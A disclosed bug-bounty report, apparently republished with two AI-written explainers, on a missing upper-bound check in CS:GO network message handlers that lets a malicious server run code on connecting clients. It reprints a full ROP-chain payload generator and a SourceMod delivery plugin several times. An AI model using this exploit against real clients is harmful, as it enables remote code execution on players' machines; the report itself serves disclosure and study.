Skip to content
Memory corruption Disclosed report Advanced

OOB reads in network message handlers leads to RCE

Network message handlers in Source engine games check only the lower bound of an entity index, allowing an out-of-bounds read that can be turned into a controlled virtual function call. An attacker can execute arbitrary code on any client that connects to their server.

slidybat Follow

Originally disclosed on HackerOne

Bounty$7,500 Critical 9.9 View original
  • Triaged in 6 months
  • Fixed in 14 months
  • Paid in 14 months
  • Disclosed after 14 months

Vulnerability

In Source engine games there are many network messages sent from the server to the client that take an entity index. There is a common pattern among many of these messages for the lower bounds of the entity index to be checked but not the upper bounds. In many cases these out of bound reads get an entity pointer from that index then call a virtual function on it.

As an example, here is the handler for the CS:GO GlowPropTurnOff message:

C++
bool _MsgFunc_GlowPropTurnOff(CCSUserMsg_GlowPropTurnOff* msg)
{
  CBaseEntity* entity = nullptr;

  int ent_idx = msg->ent_index;
  if ( ent_idx >= 0 && entitylist[ent_idx] != nullptr )
  {
    CBaseHandle* handle = entitylist[ent_idx]
    entity = handle->GetBaseEntity();  // A virtual function
  }
  
  // ...
  
  return true;
}

Exploiting the vulnerability

I will be discussing the GlowPropTurnOff message specifically for the remainder of this report, however this OOB read pattern exists in other messages too. I have successfully tested this on a couple of other CS:GO user messages, and while I haven't tested it I also suspect that this bug pattern exists in the network messages of other Source games as well.

This is the assembly used to access the entitylist array:

ASM
mov     eax, ent_idx
test    eax, eax
js      short loc_103B77A2
shl     eax, 4
mov     ecx, entitylist[eax]

The index is shifted left by 4 bits (shl eax, 4) before being used to access entitylist. This means that we can supply a large positive number that will overflow to a negative number, allowing us to return a pointer to pretty much anywhere in the module. Our goal will be to supply an index that returns a pointer to some memory that we control on the client. This memory will have the required vtable set up so that when handle->GetBaseEntity() is called it will call an address that we control.

Following a writeup of a similar bug (https://insomnihack.ch/wp-content/uploads/2017/04/AC_remote_exploitation_of_valve_source.pdf), I chose to use the ShowMenu message to set up the needed memory on the client. The ShowMenu message takes the menu_string supplied from the server, converts it to UTF16, and stores it in a global string variable wchar_t g_szMenuString[512].

I wrote the following Python script to generate the payload needed to send through the ShowMenu message to set up a fake object with a valid vtable and also includes the ROP chain needed to pop calc:

Python
from pwn import *
import textwrap

BASE_ADDRESS        = 0x287E0000
FAKE_OBJ            = BASE_ADDRESS + 0x3174F3C

SHELL_EXECUTE_ADDR  = BASE_ADDRESS + 0xA8F244

GADGET_XCHG_EAX_ESP = BASE_ADDRESS + 0xA2AAD1
GADGET_POP_ESP      = BASE_ADDRESS + 0x7E031C
GADGET_POP_EAX      = BASE_ADDRESS + 0x4a925
GADGET_POP_EDI      = BASE_ADDRESS + 0x2f00C6
GADGET_MOV_EAX_EDI  = BASE_ADDRESS + 0x74215
GADGET_MOV_EAX_EAX  = BASE_ADDRESS + 0x73c92
GADGET_XOR_EAX_EAX  = BASE_ADDRESS + 0xb4279
GADGET_XCHG_EAX_EDI = BASE_ADDRESS + 0x1da80f

def to_unicode(dword):
    a = dword & 0xffff;
    b = dword >> 16;
    return eval('u"\\u%s\\u%s"' % (hex(a)[2:].zfill(4), hex(b)[2:].zfill(4)))

def write(addr, value):
    rop = u''
    rop += to_unicode(GADGET_POP_EAX)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(value)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def write_deref(addr, to_deref):
    rop = u''
    rop += to_unicode(GADGET_POP_EAX)
    rop += to_unicode(to_deref)
    rop += to_unicode(GADGET_MOV_EAX_EAX)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_XCHG_EAX_EDI)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def write_zero(addr):
    rop = u''
    rop += to_unicode(GADGET_XOR_EAX_EAX)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_XCHG_EAX_EDI)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def stack_pivot(addr):
    rop = u''
    rop += to_unicode(GADGET_POP_ESP)
    rop += to_unicode(addr)
    return rop

rop = ''

open_str_addr = FAKE_OBJ + 400
rop += write(open_str_addr, u32('open'))

calc_str_addr = FAKE_OBJ + 420
rop += write(calc_str_addr, u32('calc'))

# Move stack somewhere where it can safely not overwrite our fake object as functions are called
params_addr = FAKE_OBJ + 1000000
rop += write_deref(params_addr, SHELL_EXECUTE_ADDR)
rop += write(params_addr + 4, 0x41414141)
rop += write_zero(params_addr + 8)
rop += write(params_addr + 12, open_str_addr)
rop += write(params_addr + 16, calc_str_addr)
rop += write_zero(params_addr + 20)
rop += write_zero(params_addr + 24)
rop += write_zero(params_addr + 28)
rop += stack_pivot(params_addr)

# Fake object structure
#  0 - pointer to actual object (#1)
#  1 - pointer to vtable        (#2)
#  2 - pointer to `pop esp`           <-- start of vtable, and where eax will be pointing once #9 is called
#  3 - pointer to full stack    (#10) <-- This will move the stack to somewhere where we have more room 
#  4 - junk
#  5 - junk
#  6 - junk
#  7 - junk
#  8 - junk
#  9 - ptr to `xchg eax, esp`         <-- address that is initially jumped to, will set esp to #2 so we can pivot stack & begin ROP chain
# 10 - stack                          <-- where our ROP chain begins
fakeobj = u''
fakeobj += '--'
fakeobj += to_unicode(FAKE_OBJ + 4)
fakeobj += to_unicode(FAKE_OBJ + 4 * 2)
fakeobj += to_unicode(GADGET_POP_ESP)
fakeobj += to_unicode(FAKE_OBJ + 4 * 10)
fakeobj += u'\u4141\u4141'
fakeobj += u'\u4242\u4242'
fakeobj += u'\u4343\u4343'
fakeobj += u'\u4444\u4444'
fakeobj += u'\u4545\u4545'
fakeobj += to_unicode(GADGET_XCHG_EAX_ESP)
fakeobj += rop

fakeobj = fakeobj.encode('utf-8')

print(''.join(['\\x%02x' % ord(c) for c in fakeobj]))

Note: As in #470520 the script above needs to know the base address of the client's client_panorama.dll module in order to be 100% reliable, however it isn't possible to this due to ASLR.

Next, this payload needs to be sent to the client. I did this using the following SourceMod plugin:

C++
#include <sdktools>

public void OnPluginStart()
{
	HookEvent( "player_spawn", Event_PlayerSpawn );
}

public Action Event_PlayerSpawn( Event event, const char[] name, bool dontBroadcast )
{
    int client = GetClientOfUserId( event.GetInt( "userid" ) );
	
	{
		char payload[] = "PLACE PAYLOAD HERE";
	
		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "ShowMenu", client ) );
		msg.SetInt( "bits_valid_slots", 0xFFFFFFFF );
		msg.SetInt( "display_time", 0 );
		msg.SetString( "menu_string", payload );
		EndMessage();
	}
	
	{
		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "GlowPropTurnOff", client ) );
		msg.SetInt( "entidx", 0xfe43167 );
		EndMessage();
	}

	return Plugin_Continue;
}

Once a client connects the payload is set up using the ShowMenu message and then is triggered immediately after with the GlowPropTurnOff message, resulting in calc being popped.

PoC

Here is a video showcasing the bug being triggered on CS:GO when joining a server:

OPWTVDox3r.mp4 From the original on HackerOne

Reproduction steps

  1. Start CS:GO and note the base address of client_panorama.dll
  2. Replace the value of BASE_ADDRESS in the Python script above with this base address value and run the script
  3. Copy the generated payload into the contents of the payload string in the SourceMod script above and compile the plugin
  4. Add the compiled plugin to the server and connect to this server with the client, as soon as the client is fully connected calc will be popped automatically

Impact

This bug allows an attacker to execute arbitrary code on the computers of any clients that join their server.

The original report as published on HackerOne, by slidybat. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Source engine games send many network messages from the server to the client, and a large number of them take an entity index as an argument. The client resolves that index against an entity list to obtain a pointer to a CBaseEntity, then calls a virtual function on it. The bug described here is a missing upper bound check on that index, which turns the lookup into an out-of-bounds read and, with a controlled index, into a controlled virtual call on the client.

The report focuses on CS:GO and on one message in particular, GlowPropTurnOff, but the author states the same pattern exists in other messages and, while untested, likely in the network messages of other Source games too. The impact is code execution on the machine of any player who joins a malicious server.

Setup

The researcher worked against the CS:GO client and its client_panorama.dll module. The tooling involved is:

  • A Python script using pwntools to build the payload.
  • A SourceMod plugin, compiled and loaded on a server, to deliver the messages to a connecting client.
  • Knowledge of the base address of client_panorama.dll in the client process, needed for a fully reliable payload.

No accounts or special roles are involved beyond running a game server that a victim connects to. The precondition for the attack is simply that the target client joins the attacker's server.

Finding it

The starting observation is a common coding pattern in message handlers: the lower bound of the entity index is validated, but the upper bound is not. The handler for the CS:GO GlowPropTurnOff message is given as the example:

C++
bool _MsgFunc_GlowPropTurnOff(CCSUserMsg_GlowPropTurnOff* msg)
{
  CBaseEntity* entity = nullptr;

  int ent_idx = msg->ent_index;
  if ( ent_idx >= 0 && entitylist[ent_idx] != nullptr )
  {
    CBaseHandle* handle = entitylist[ent_idx]
    entity = handle->GetBaseEntity();  // A virtual function
  }

  // ...

  return true;
}

The check ent_idx >= 0 rejects negative indices, but nothing constrains how large the index may be. A large index reads past the end of entitylist, and whatever pointer is found there is treated as a CBaseHandle and dereferenced through a virtual call. That combination, an attacker-chosen index feeding a virtual dispatch, is what makes the read interesting rather than merely a crash.

Exploitation

Step 1: Understand the index arithmetic

The assembly used to access the entitylist array shows how the index is scaled:

ASM
mov     eax, ent_idx
test    eax, eax
js      short loc_103B77A2
shl     eax, 4
mov     ecx, entitylist[eax]

The index is shifted left by 4 bits before being used as an offset into entitylist, so each entry is 16 bytes. Because the shift is done on a 32-bit register, a sufficiently large positive index overflows into a negative offset. That lets the attacker make the lookup return a pointer from almost anywhere in the module, including memory the attacker controls on the client.

Step 2: Choose a way to place controlled memory

The goal is an index that makes entitylist[ent_idx] point at attacker-controlled memory laid out as a fake object with a valid vtable, so that the call to handle->GetBaseEntity() dispatches to an address the attacker chooses. Following a writeup of a similar bug referenced in the report, the author used the ShowMenu message to prepare that memory. ShowMenu takes a menu_string from the server, converts it to UTF16, and stores it in a global buffer declared as wchar_t g_szMenuString[512]. The contents of that buffer are therefore attacker-controlled and live at a fixed offset from the module base.

Step 3: Build the payload with a ROP chain

The Python script below generates the UTF16 string sent through ShowMenu. It writes a fake object with a vtable and a ROP chain that ends in ShellExecute opening calc:

Python
from pwn import *
import textwrap

BASE_ADDRESS        = 0x287E0000
FAKE_OBJ            = BASE_ADDRESS + 0x3174F3C

SHELL_EXECUTE_ADDR  = BASE_ADDRESS + 0xA8F244

GADGET_XCHG_EAX_ESP = BASE_ADDRESS + 0xA2AAD1
GADGET_POP_ESP      = BASE_ADDRESS + 0x7E031C
GADGET_POP_EAX      = BASE_ADDRESS + 0x4a925
GADGET_POP_EDI      = BASE_ADDRESS + 0x2f00C6
GADGET_MOV_EAX_EDI  = BASE_ADDRESS + 0x74215
GADGET_MOV_EAX_EAX  = BASE_ADDRESS + 0x73c92
GADGET_XOR_EAX_EAX  = BASE_ADDRESS + 0xb4279
GADGET_XCHG_EAX_EDI = BASE_ADDRESS + 0x1da80f

def to_unicode(dword):
    a = dword & 0xffff;
    b = dword >> 16;
    return eval('u"\\u%s\\u%s"' % (hex(a)[2:].zfill(4), hex(b)[2:].zfill(4)))

def write(addr, value):
    rop = u''
    rop += to_unicode(GADGET_POP_EAX)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(value)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def write_deref(addr, to_deref):
    rop = u''
    rop += to_unicode(GADGET_POP_EAX)
    rop += to_unicode(to_deref)
    rop += to_unicode(GADGET_MOV_EAX_EAX)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_XCHG_EAX_EDI)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def write_zero(addr):
    rop = u''
    rop += to_unicode(GADGET_XOR_EAX_EAX)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_XCHG_EAX_EDI)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def stack_pivot(addr):
    rop = u''
    rop += to_unicode(GADGET_POP_ESP)
    rop += to_unicode(addr)
    return rop

rop = ''

open_str_addr = FAKE_OBJ + 400
rop += write(open_str_addr, u32('open'))

calc_str_addr = FAKE_OBJ + 420
rop += write(calc_str_addr, u32('calc'))

# Move stack somewhere where it can safely not overwrite our fake object as functions are called
params_addr = FAKE_OBJ + 1000000
rop += write_deref(params_addr, SHELL_EXECUTE_ADDR)
rop += write(params_addr + 4, 0x41414141)
rop += write_zero(params_addr + 8)
rop += write(params_addr + 12, open_str_addr)
rop += write(params_addr + 16, calc_str_addr)
rop += write_zero(params_addr + 20)
rop += write_zero(params_addr + 24)
rop += write_zero(params_addr + 28)
rop += stack_pivot(params_addr)

# Fake object structure
#  0 - pointer to actual object (#1)
#  1 - pointer to vtable        (#2)
#  2 - pointer to `pop esp`           <-- start of vtable, and where eax will be pointing once #9 is called
#  3 - pointer to full stack    (#10) <-- This will move the stack to somewhere where we have more room
#  4 - junk
#  5 - junk
#  6 - junk
#  7 - junk
#  8 - junk
#  9 - ptr to `xchg eax, esp`         <-- address that is initially jumped to, will set esp to #2 so we can pivot stack & begin ROP chain
# 10 - stack                          <-- where our ROP chain begins
fakeobj = u''
fakeobj += '--'
fakeobj += to_unicode(FAKE_OBJ + 4)
fakeobj += to_unicode(FAKE_OBJ + 4 * 2)
fakeobj += to_unicode(GADGET_POP_ESP)
fakeobj += to_unicode(FAKE_OBJ + 4 * 10)
fakeobj += u'\u4141\u4141'
fakeobj += u'\u4242\u4242'
fakeobj += u'\u4343\u4343'
fakeobj += u'\u4444\u4444'
fakeobj += u'\u4545\u4545'
fakeobj += to_unicode(GADGET_XCHG_EAX_ESP)
fakeobj += rop

fakeobj = fakeobj.encode('utf-8')

print(''.join(['\\x%02x' % ord(c) for c in fakeobj]))

The script needs the base address of the client's client_panorama.dll to be fully reliable, and the author notes that ASLR makes obtaining it impossible, referencing an earlier report (#470520) with the same limitation. The fake object layout is documented in the comments: slot 1 points to the vtable, the vtable's first entry is a pop esp gadget, and the address that is initially jumped to is a xchg eax, esp gadget, which pivots the stack into the fake object so the ROP chain can run. The chain writes the strings open and calc, prepares the ShellExecute parameters at FAKE_OBJ + 1000000, and pivots the stack there.

Step 4: Deliver the messages from the server

The payload is sent to the client with a SourceMod plugin that fires on player_spawn:

C++
#include <sdktools>

public void OnPluginStart()
{
	HookEvent( "player_spawn", Event_PlayerSpawn );
}

public Action Event_PlayerSpawn( Event event, const char[] name, bool dontBroadcast )
{
    int client = GetClientOfUserId( event.GetInt( "userid" ) );

	{
		char payload[] = "PLACE PAYLOAD HERE";

		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "ShowMenu", client ) );
		msg.SetInt( "bits_valid_slots", 0xFFFFFFFF );
		msg.SetInt( "display_time", 0 );
		msg.SetString( "menu_string", payload );
		EndMessage();
	}

	{
		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "GlowPropTurnOff", client ) );
		msg.SetInt( "entidx", 0xfe43167 );
		EndMessage();
	}

	return Plugin_Continue;
}

The first block sends ShowMenu with bits_valid_slots set to 0xFFFFFFFF, display_time set to 0, and menu_string set to the generated payload, which populates g_szMenuString with the fake object. The second block sends GlowPropTurnOff with entidx set to 0xfe43167. The order matters: the memory is set up first and triggered immediately afterwards.

Step 5: Trigger and observe

When a client connects, the payload is placed with ShowMenu and then triggered with GlowPropTurnOff, and calc is popped. The video shows the bug being triggered on CS:GO when joining a server:

OPWTVDox3r.mp4 From the original on HackerOne

Reproduction steps

  1. Start CS:GO and note the base address of client_panorama.dll.
  2. Replace the value of BASE_ADDRESS in the Python script with this base address and run the script.
  3. Copy the generated payload into the payload string in the SourceMod script and compile the plugin.
  4. Add the compiled plugin to the server and connect to it with the client; as soon as the client is fully connected, calc is popped automatically.

Root cause

The handler validates only the lower bound of the entity index. The upper bound is never checked, so a large positive index is shifted left by 4 and wraps into a negative offset, reading a pointer from outside the entitylist array. That pointer is then used as a CBaseHandle and a virtual function is called through it, giving the attacker control over the call target when the read lands in memory they control. The ShowMenu message provides a convenient writable global buffer (g_szMenuString) at a fixed offset from the module base, which is what makes the fake object placement practical. ASLR is the main obstacle, and the author states the payload cannot be made fully reliable without the module base address.

Impact

An attacker who runs a server can execute arbitrary code on the computers of any clients that join it. The attack requires the victim to connect to the attacker's server, and full reliability depends on knowing the client's client_panorama.dll base address, which ASLR prevents. The report notes the same out-of-bounds read pattern in other messages, with a couple of other CS:GO user messages successfully tested, and suspects it exists in other Source games as well.

Fix

No fix is described in the report.

Variants to test

  • Other Source engine network messages that take an entity index and call a virtual function on the resolved entity: a positive result is a message whose handler checks only the lower bound and dereferences the result of entitylist[ent_idx].
  • Other CS:GO user messages: the author tested a couple of others successfully, so the same index-overflow technique should be attempted on each.
  • Network messages in other Source games: the author suspects the pattern exists there but did not test it.
  • Other server-controlled string buffers that are stored in globals at predictable offsets, in the style of g_szMenuString, as a place to stage a fake object.

Hunting notes

This kind of bug hides in message handlers that parse attacker-supplied indices and then use them to index arrays of pointers, especially where the index is scaled by a shift before use. The signal during review is a bounds check that tests only one side, such as ent_idx >= 0, followed by a dereference and a virtual call. The researcher demonstrated impact by building a full chain from a server-controlled message to code execution on a connecting client, including a working payload generator and a server plugin that delivers it, which is the kind of end-to-end proof that shows the read is exploitable rather than a crash.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a way for someone running a game server to run any program they like on the computer of every player who joins that server. The game is Counter-Strike: Global Offensive (CS:GO), which is built on a piece of software called the Source engine. The engine is the shared foundation that many Valve games sit on, and it handles networking among other things.

When you play online, your computer (the client) and the game server talk to each other constantly. The server sends your client short messages, such as GlowPropTurnOff or ShowMenu. Each of those messages usually refers to a game object by a number, called an entity index. An entity is anything in the game world: a player, a weapon, a door, a light. The client keeps a big list of all entities, and the index is simply the position in that list.

The bug is that the client checked only that the number was not negative, and never checked that it was not too large. If the server sends a huge number, the client looks far past the end of its list and picks up whatever bytes happen to be there, treating them as if they were a real entity. The researcher worked out how to make those bytes be something they control, so that the game then jumps to code of the attacker's choosing. The result is arbitrary code execution: the attacker's program runs on the victim's machine.

The report focuses on one message, GlowPropTurnOff, but the same pattern appears in other messages, and the researcher suspects it exists in other Source games too. The only precondition is that the victim joins the attacker's server.

The setup

The researcher worked against the CS:GO client and one of its files, client_panorama.dll. A .dll is a library of code that a program loads and uses; client_panorama.dll is the part of CS:GO that runs on the player's machine and handles things like network messages.

The tools involved were:

  • A Python script that builds the malicious data. Python is a programming language often used for quick tooling; the script uses a helper library called pwntools, which is popular for this kind of work.
  • A SourceMod plugin. SourceMod is a framework for writing add-ons for Source engine servers, and a plugin is a small program loaded into the server. This plugin sends the crafted messages to a connecting player.
  • Knowledge of the base address of client_panorama.dll inside the client process. A process is a running program, and its memory is laid out at addresses; the base address is where that library starts in memory. The payload needs it to be fully reliable.

No accounts or special roles are needed. The attacker just needs to run a game server that a victim connects to.

Finding it

Many message handlers in the game follow the same pattern: they check the lower bound of the entity index but not the upper bound. The handler for the CS:GO GlowPropTurnOff message is the example given:

C++
bool _MsgFunc_GlowPropTurnOff(CCSUserMsg_GlowPropTurnOff* msg)
{
  CBaseEntity* entity = nullptr;

  int ent_idx = msg->ent_index;
  if ( ent_idx >= 0 && entitylist[ent_idx] != nullptr )
  {
    CBaseHandle* handle = entitylist[ent_idx]
    entity = handle->GetBaseEntity();  // A virtual function
  }

  // ...

  return true;
}

Line by line:

  • bool _MsgFunc_GlowPropTurnOff(...) declares a function that handles the message. It returns true when it is done. The parameter msg is the message that arrived from the server, and it carries an ent_index field.
  • CBaseEntity* entity = nullptr; creates an empty pointer, a variable that is meant to hold the address of an entity. nullptr means "points at nothing".
  • int ent_idx = msg->ent_index; copies the number supplied by the server into a local variable. This number is fully under the attacker's control.
  • if ( ent_idx >= 0 && entitylist[ent_idx] != nullptr ) is the flawed check. ent_idx >= 0 rejects negative numbers. entitylist[ent_idx] looks up the entry at that position in the entity list. != nullptr checks the entry is not empty. Nothing here says how large ent_idx may be, so a huge number is accepted.
  • CBaseHandle* handle = entitylist[ent_idx] takes whatever pointer was found at that position and treats it as a handle to an entity.
  • entity = handle->GetBaseEntity(); calls a function through that handle. In C++, a virtual function is one whose actual code is looked up at runtime from a table of function addresses stored inside the object. That table is called a vtable. If the attacker controls the object, they control the table, and therefore which code runs.

So the missing upper bound turns a simple lookup into an out-of-bounds read, and the virtual call turns that read into a jump to an address the attacker can influence. That is why this is more than a crash.

Exploitation

Step 1: Understand the index arithmetic

The compiled code that accesses the entity list looks like this:

ASM
mov     eax, ent_idx
test    eax, eax
js      short loc_103B77A2
shl     eax, 4
mov     ecx, entitylist[eax]

This is assembly, the low-level instructions the processor actually runs. Line by line:

  • mov eax, ent_idx copies the index into a processor register called eax. Registers are tiny, very fast storage slots inside the processor.
  • test eax, eax checks the value against itself, which effectively asks "is it zero or negative?".
  • js short loc_103B77A2 jumps away if the sign flag is set, meaning the number is negative. This is the lower-bound check in machine code.
  • shl eax, 4 shifts the value left by 4 bits. Shifting left by 4 is the same as multiplying by 16, so each list entry is 16 bytes long.
  • mov ecx, entitylist[eax] reads the pointer stored at the start of the list plus that offset.

The important detail is that the shift happens in a 32-bit register. A 32-bit number can only hold values up to about 4.29 billion; go past that and it wraps around to the negative side. So a large positive index, multiplied by 16, can end up as a negative offset. That lets the attacker make the lookup return a pointer from almost anywhere in the library, including memory the attacker has arranged on the client.

Step 2: Choose a way to place controlled memory

The goal is an index that makes the lookup land on memory the attacker controls, laid out to look like a real object with a valid vtable. Then the call to handle->GetBaseEntity() will jump wherever the attacker wants.

Following a writeup of a similar bug referenced in the report, the researcher used the ShowMenu message to prepare that memory. ShowMenu is a message that tells the client to display a menu. It takes a menu_string from the server, converts it to UTF16 (a way of encoding text where each character takes two bytes), and stores it in a global buffer declared as wchar_t g_szMenuString[512]. A global buffer is a fixed block of memory that exists for the whole life of the program, and because it is fixed, its position relative to the library's base address is fixed. Its contents come straight from the server, so the attacker controls them.

Step 3: Build the payload with a ROP chain

The Python script below generates the UTF16 string that is sent through ShowMenu. It builds a fake object with a vtable and a ROP chain that ends in ShellExecute opening calc, the Windows calculator. A ROP chain (return-oriented programming) is a technique where the attacker strings together small existing snippets of code, called gadgets, each ending in a return instruction, so that the processor executes them one after another. It is a way to make a program do new things without writing new code into it.

Python
from pwn import *
import textwrap

BASE_ADDRESS        = 0x287E0000
FAKE_OBJ            = BASE_ADDRESS + 0x3174F3C

SHELL_EXECUTE_ADDR  = BASE_ADDRESS + 0xA8F244

GADGET_XCHG_EAX_ESP = BASE_ADDRESS + 0xA2AAD1
GADGET_POP_ESP      = BASE_ADDRESS + 0x7E031C
GADGET_POP_EAX      = BASE_ADDRESS + 0x4a925
GADGET_POP_EDI      = BASE_ADDRESS + 0x2f00C6
GADGET_MOV_EAX_EDI  = BASE_ADDRESS + 0x74215
GADGET_MOV_EAX_EAX  = BASE_ADDRESS + 0x73c92
GADGET_XOR_EAX_EAX  = BASE_ADDRESS + 0xb4279
GADGET_XCHG_EAX_EDI = BASE_ADDRESS + 0x1da80f

def to_unicode(dword):
    a = dword & 0xffff;
    b = dword >> 16;
    return eval('u"\\u%s\\u%s"' % (hex(a)[2:].zfill(4), hex(b)[2:].zfill(4)))

def write(addr, value):
    rop = u''
    rop += to_unicode(GADGET_POP_EAX)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(value)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def write_deref(addr, to_deref):
    rop = u''
    rop += to_unicode(GADGET_POP_EAX)
    rop += to_unicode(to_deref)
    rop += to_unicode(GADGET_MOV_EAX_EAX)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_XCHG_EAX_EDI)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def write_zero(addr):
    rop = u''
    rop += to_unicode(GADGET_XOR_EAX_EAX)
    rop += to_unicode(GADGET_POP_EDI)
    rop += to_unicode(addr)
    rop += to_unicode(GADGET_XCHG_EAX_EDI)
    rop += to_unicode(GADGET_MOV_EAX_EDI)
    return rop

def stack_pivot(addr):
    rop = u''
    rop += to_unicode(GADGET_POP_ESP)
    rop += to_unicode(addr)
    return rop

rop = ''

open_str_addr = FAKE_OBJ + 400
rop += write(open_str_addr, u32('open'))

calc_str_addr = FAKE_OBJ + 420
rop += write(calc_str_addr, u32('calc'))

# Move stack somewhere where it can safely not overwrite our fake object as functions are called
params_addr = FAKE_OBJ + 1000000
rop += write_deref(params_addr, SHELL_EXECUTE_ADDR)
rop += write(params_addr + 4, 0x41414141)
rop += write_zero(params_addr + 8)
rop += write(params_addr + 12, open_str_addr)
rop += write(params_addr + 16, calc_str_addr)
rop += write_zero(params_addr + 20)
rop += write_zero(params_addr + 24)
rop += write_zero(params_addr + 28)
rop += stack_pivot(params_addr)

# Fake object structure
#  0 - pointer to actual object (#1)
#  1 - pointer to vtable        (#2)
#  2 - pointer to `pop esp`           <-- start of vtable, and where eax will be pointing once #9 is called
#  3 - pointer to full stack    (#10) <-- This will move the stack to somewhere where we have more room
#  4 - junk
#  5 - junk
#  6 - junk
#  7 - junk
#  8 - junk
#  9 - ptr to `xchg eax, esp`         <-- address that is initially jumped to, will set esp to #2 so we can pivot stack & begin ROP chain
# 10 - stack                          <-- where our ROP chain begins
fakeobj = u''
fakeobj += '--'
fakeobj += to_unicode(FAKE_OBJ + 4)
fakeobj += to_unicode(FAKE_OBJ + 4 * 2)
fakeobj += to_unicode(GADGET_POP_ESP)
fakeobj += to_unicode(FAKE_OBJ + 4 * 10)
fakeobj += u'\u4141\u4141'
fakeobj += u'\u4242\u4242'
fakeobj += u'\u4343\u4343'
fakeobj += u'\u4444\u4444'
fakeobj += u'\u4545\u4545'
fakeobj += to_unicode(GADGET_XCHG_EAX_ESP)
fakeobj += rop

fakeobj = fakeobj.encode('utf-8')

print(''.join(['\\x%02x' % ord(c) for c in fakeobj]))

What the script does, in order:

  • from pwn import * loads the pwntools helper library. import textwrap loads a text-formatting helper.
  • BASE_ADDRESS = 0x287E0000 is the base address of client_panorama.dll in the client process. The 0x prefix means the number is written in hexadecimal, a base-16 way of writing numbers that is convenient for memory addresses.
  • FAKE_OBJ = BASE_ADDRESS + 0x3174F3C is where the fake object will sit, expressed as an offset from the base.
  • SHELL_EXECUTE_ADDR is the address of the Windows ShellExecute function, which can start a program.
  • The GADGET_... lines are addresses of small code snippets inside the library. pop esp loads a value into the stack pointer register, pop eax and pop edi load values into other registers, mov eax, edi copies one register into another, xor eax, eax sets a register to zero, and xchg eax, esp swaps two registers. Each is a building block for the ROP chain.
  • to_unicode(dword) takes a 32-bit number and turns it into two UTF16 characters, because the menu string is stored as UTF16. It splits the number into its lower and upper 16 bits and formats each as a \u escape.
  • write(addr, value) builds a short gadget sequence that stores a value at an address.
  • write_deref(addr, to_deref) builds a sequence that reads a value from one address and stores it at another.
  • write_zero(addr) builds a sequence that stores zero at an address.
  • stack_pivot(addr) builds a sequence that moves the stack pointer to a chosen address. The stack is the region of memory the processor uses to keep track of function calls and local data; moving it is called pivoting.
  • The rop section writes the text open and calc into memory, then prepares the arguments for ShellExecute at params_addr, which is FAKE_OBJ + 1000000, far enough away that running functions will not overwrite the fake object. The arguments include the address of ShellExecute, a placeholder value, and pointers to the open and calc strings. Finally it pivots the stack to params_addr.
  • The comment block documents the fake object layout. Slot 0 points to the object itself, slot 1 points to the vtable, the vtable's first entry is the pop esp gadget, and slot 9 holds the xchg eax, esp gadget, which is the address that is initially jumped to. That swap sets the stack pointer to the vtable area so the ROP chain can begin.
  • The fakeobj lines assemble those slots in order, with junk values in slots 4 to 8, then append the ROP chain.
  • fakeobj.encode('utf-8') turns the text into bytes, and the final print outputs the bytes as a \xNN escape string, ready to paste into the server plugin.

The script needs the base address of the client's client_panorama.dll to be fully reliable. The author notes that ASLR makes obtaining it impossible, referencing an earlier report (#470520) with the same limitation. ASLR, address space layout randomisation, is a defence where the operating system loads libraries at a different address each time the program starts, so an attacker cannot know in advance where things are.

Step 4: Deliver the messages from the server

The payload is sent to the client with a SourceMod plugin that fires when a player spawns:

C++
#include <sdktools>

public void OnPluginStart()
{
	HookEvent( "player_spawn", Event_PlayerSpawn );
}

public Action Event_PlayerSpawn( Event event, const char[] name, bool dontBroadcast )
{
    int client = GetClientOfUserId( event.GetInt( "userid" ) );

	{
		char payload[] = "PLACE PAYLOAD HERE";

		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "ShowMenu", client ) );
		msg.SetInt( "bits_valid_slots", 0xFFFFFFFF );
		msg.SetInt( "display_time", 0 );
		msg.SetString( "menu_string", payload );
		EndMessage();
	}

	{
		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "GlowPropTurnOff", client ) );
		msg.SetInt( "entidx", 0xfe43167 );
		EndMessage();
	}

	return Plugin_Continue;
}

Line by line:

  • #include <sdktools> pulls in a standard SourceMod helper library.
  • OnPluginStart runs once when the plugin loads, and HookEvent( "player_spawn", Event_PlayerSpawn ) tells the server to call Event_PlayerSpawn whenever a player spawns.
  • Event_PlayerSpawn receives the event. GetClientOfUserId turns the event's userid into a client identifier, so the plugin knows which player to send messages to.
  • The first block builds a ShowMenu message for that client. bits_valid_slots is set to 0xFFFFFFFF (all bits set), display_time to 0, and menu_string to the generated payload. This is what fills g_szMenuString with the fake object.
  • The second block builds a GlowPropTurnOff message with entidx set to 0xfe43167.
  • return Plugin_Continue; tells the server to carry on with its normal handling.

The order matters: the memory is set up first with ShowMenu, then triggered immediately afterwards with GlowPropTurnOff.

Step 5: Trigger and observe

